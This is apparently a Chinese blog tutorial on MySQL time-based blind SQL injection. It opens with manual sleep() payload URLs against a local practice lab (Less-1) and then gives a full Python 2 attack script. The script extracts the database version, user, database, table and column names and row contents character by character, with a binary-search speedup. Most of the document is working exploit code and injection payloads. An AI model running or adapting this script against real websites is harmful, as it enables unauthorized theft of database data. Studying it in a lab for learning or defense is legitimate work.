mysql注入之时间延迟注入

#时间延迟盲注 与 布尔类型盲注 相似

#睡眠函数
sleep()

#手工测试
http://127.0.0.4/Less-1/index.php?id=1′ and sleep(0) –+
http://127.0.0.4/Less-1/index.php?id=1′ and sleep(10) –+
两者对比明显有延迟

# coding=utf-8
import requests
import time

#解决编码问题
import sys  
reload(sys)  
sys.setdefaultencoding('utf8')  


"""
取出特征
#if(条件,是,否),sleep放前面和后面的区别,放后面 条件不对就延迟是不机智的
#调试下面语句,说明如果 条件成立 则打开页面会出现延迟
#select if(ord(mid(version(),1,1))>=53,sleep(5),0)
"""

   
#sql盲注测试类
class Sql_bool():
    #主机头
    header = {
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0",
        "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
        "Accept-Encoding":"gzip, deflate, br",
        "Cookie":"PHPSESSID=op3mp10kotct1hvfa8a6g6ko14",
        "Connection":"close",
        "Upgrade-Insecure-Requests":"1",
    }
    #注入点
    host = "http://127.0.0.4/Less-1/index.php?id=1"

    #根据特征判断返回真假
    def html_bool(self,bool_sql):
        #传入布尔类型条件 bool_sql

        #拼接注入url
        #url = self.host + "\' and " + bool_sql + " --+"
        url = self.host + "\' and if(" + bool_sql + ",sleep(5),0) --+"
        print url


        ###############修改为布尔类型#################
        #记录开始时间
        time_star=time.time()
        #开始请求
        html = requests.get(url = url,headers = self.header).content
        #记录结束时间
        end_time=time.time()

        #取得打开页面时间差
        sleep_time = end_time - time_star
        #判断是否延迟

        #延迟时间不能太小,容易误报,也不能太大,时间较长
        if sleep_time>=5:
            print "success"
            return True
        else:
            print "error"
            return False


    #判断数据库版本确定索引表
    def get_version(self):
        #判断数据库版本 SELECT ord(mid(version(),1,1))
        #5的ascii码值是 53
        bool_sql = "ord(mid(version(),1,1))>=53"
        self.html_bool(bool_sql)

    #判断数据库用户权限
    def get_user_first(self):
        #判断数据库用户权限:
        #返回正常说明为root,这样是判断第一个字母r,可能是root账户,不能完全证明 root 权限,权限表Y
        #r的ascii码值是 114
        bool_sql = "ord(mid(user(),1,1))=114"
        self.html_bool(bool_sql)


    #判断数据库用户数量
    def get_user_count(self):
        bool_sql = "(select count(*) from mysql.user)=3"
        self.html_bool(bool_sql)


    #判断数据库用户长度
    def get_user_len(self):
        #判断数据库用户长度
        #返回的是用户@主机名的长度 root@localhost
        bool_sql = "Length(user())=14"
        self.html_bool(bool_sql)


    #判断数据库当前用户名
    def get_user(self):
        #定义返回的字符串
        result = ""
        #bool_sql = "ord(mid(user(),1,1))=1"
        for i in xrange(1,14+1):
            #bool_sql = "ord(mid(user(),1,1))=114" 取有效ascii码48,122
            for j in xrange(48,122):
                #理解mid函数,当 mid后是字符串,用ascii码转化为ascii码时取第一个字母的ascii码
                bool_sql = "ord(mid(user(),%d,14))=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"用户名为:",result


    #判断数据库数量
    def get_db_count(self):
        bool_sql = "(select count(*) from information_schema.schemata)=15"
        self.html_bool(bool_sql)
        #使用 SELECT * FROM SCHEMATA limit 3,1 遍历表明
        # limit 从第几个开始,返回几个


    #判断数据库名长度
    def get_db_len(self):
        #判断数据库用户长度
        #返回的是用户@主机名的长度 root@localhost
        bool_sql = "Length(database())=8"
        self.html_bool(bool_sql)            


    #判断数据库名称 security
    def get_database(self):
        #定义返回的字符串
        result = ""
        for i in xrange(1,8+1):
            #取有效ascii码48,122
            for j in xrange(48,122):
                bool_sql = "ord(mid(database(),%d,8))=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"数据库名为:",result

    #判断表名长度,上面跑出数据库了,security
    def get_table_len(self):
        #pass
        #select length(table_name) from information_schema.tables where table_schema='security' limit 0,1
        bool_sql = "(select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6"
        self.html_bool(bool_sql)

    #获取表名
    def get_table(self):
        #定义返回的字符串
        result = ""
        for i in xrange(1,6+1):
            #取有效ascii码48,122
            for j in xrange(48,122):        
                bool_sql = "ord(mid(   (select table_name from information_schema.tables where table_schema='security' limit 0,1)   ,%d,6) )=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"第一个表名为:",result      

    #获取字段名长度
    def get_columns_len(self):
        #pass
        #select length(column_name) from information_schema.columns where table_schema='security' and TABLE_NAME='emails' limit 0,1
        bool_sql = "(select length(column_name) from information_schema.columns where table_schema='security' and TABLE_NAME='emails' limit 0,1)=2"
        self.html_bool(bool_sql)

    #获取字段名
    def get_columns(self):
        #定义返回的字符串
        result = ""
        for i in xrange(1,2+1):
            #取有效ascii码48,122
            for j in xrange(48,122):        
                bool_sql = "ord(mid(   (select column_name from information_schema.columns where table_schema='security' and TABLE_NAME='emails' limit 0,1)   ,%d,2) )=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"第一个字段名为:",result        
   
    #获取字段内容,字段长度假设是5,按照上面方法获取字段内容长度
    def get_content(self):
        #pass
        #select id from emails limit 0,1
        #定义返回的字符串
        result = ""
        for i in xrange(1,5):
            #取有效ascii码48,122
            for j in xrange(48,122):        
                bool_sql = "ord(mid(   (select id from emails limit 0,1)   ,%d,5) )=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"第一列第一个字段内容为:",result    
   
    #16进制获取中文数据
    #修改第二个字段为中文,获取盲注时 中文的内容,把email_id第一个字段值改为  你好
    def get_china_content(self):
        #pass
        #select hex(email_id) from emails limit 0,1 返回 C4E3BAC3
        #定义返回的字符串
        result = ""
        for i in xrange(1,10):
            #取有效ascii码48,122
            for j in xrange(48,122):        
                bool_sql = "ord(mid(   (select hex(email_id) from emails limit 0,1)   ,%d,10) )=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"测试取中文内容的16进制为:",result
        #解16进制中文内容,在控制台打开显示    
        print "\xC4\xE3\xBA\xC3"
        #在中文与英文等混合的情况下,先用16个字母和特殊字符做对比,如果获取不到再用中文,sqlmap之所以跑出乱码,是在解码时没解好!
        #SELECT HEX(  '你是ss' ) + py测试乱码问题,解决sqlma编码问题
        #print "\xE4\xBD\xA0\xE6\x98\xAF".decode("utf")

       
    #提高sql注入效率
    #二分算法 使用(+多线程+dnslog)
    def BinarySearch(self,low,height,key):
        #强制类型转换
        low = int(low) #最小值
        height = int(height) #最大值
        #初始化 中间值
        mid = ''
        #消息循环
        while True :
            #获取中间值
            mid = (low+height)/2
            print u"长度",key,u" ------- 正在分值",mid,low,height  
            #分到最后时,最小值和最大值相等
            if mid == low :
                #把中间值转换为ascii嘛输出,因为<= 所以需要 +1
                result = chr(mid+1)
                print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),"[+]",mid+1,result
                return True
            #判断取得值是否 小于等于最小值
            elif int(key) <= int(mid):
                #把中间值给最大值
                height = mid
            else :
                #如果不是的话把 中间值给最小值
                low = mid  

    #二分法获取数据库名实例
    def BinarySearch_update(self):
        #初始化结果
        global test
        test = ''

        #循环遍历9个长度的数据名
        for i in xrange(1,9):
            #强制类型转换
            low = 48 #最小值
            height = 122 #最大值
            #初始化 中间值
            mid = ''
            #消息循环
            while True :
                #获取中间值
                mid = (low+height)/2
                #sql标识,之前是等于,现在是小于等于 二分法
                bool_sql = "ord(mid(database(),%d,8))<=%d" % (i,mid)
                print u"长度9",u" ------- 正在分值",mid,low,height
                #time.sleep(1)  
                #分到最后时,最小值和最大值相等
                if mid == low :
                    #把中间值转换为ascii嘛输出,因为<= 所以需要 +1
                    result = chr(mid+1)
                    print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),"[+]",mid+1,result
                    test = test + result
                    break
                    #return True
                #判断取得值是否 小于等于最小值
                elif self.html_bool(bool_sql):
                    #把中间值给最大值
                    height = mid
                else :
                    #如果不是的话把 中间值给最小值
                    low = mid
        else :
            print  test

    ##多线程+队列 提高速度,判断表前缀提高速度等等

test = Sql_bool()
#test.get_version() #获取版本号
#test.get_user_first() #获取数据库用户权限
#test.get_user_count() #获取数据库用户数量
#test.get_user_len() #获取数据库用户长度
#test.get_user() #获取数据库当前用户名
#test.get_db_count() #获取数据库数量
#test.get_db_len() #获取数据库长度
#test.get_database() #获取数据库名
#test.get_table_len() #获取表名长度
#test.get_table() #获取表名
#test.get_columns_len() #获取字段名长度
#test.get_columns() #获取字段名
#test.get_content() #获取第一列第一个字段内容
#test.get_china_content() #获取中文内容

#test.BinarySearch(0,127,55) #二分法快速查找实例
#test.BinarySearch_update() # 二分法获取数据库名实例

发表评论

电子邮件地址不会被公开。 必填项已用*标注

This site uses Akismet to reduce spam. Learn how your comment data is processed.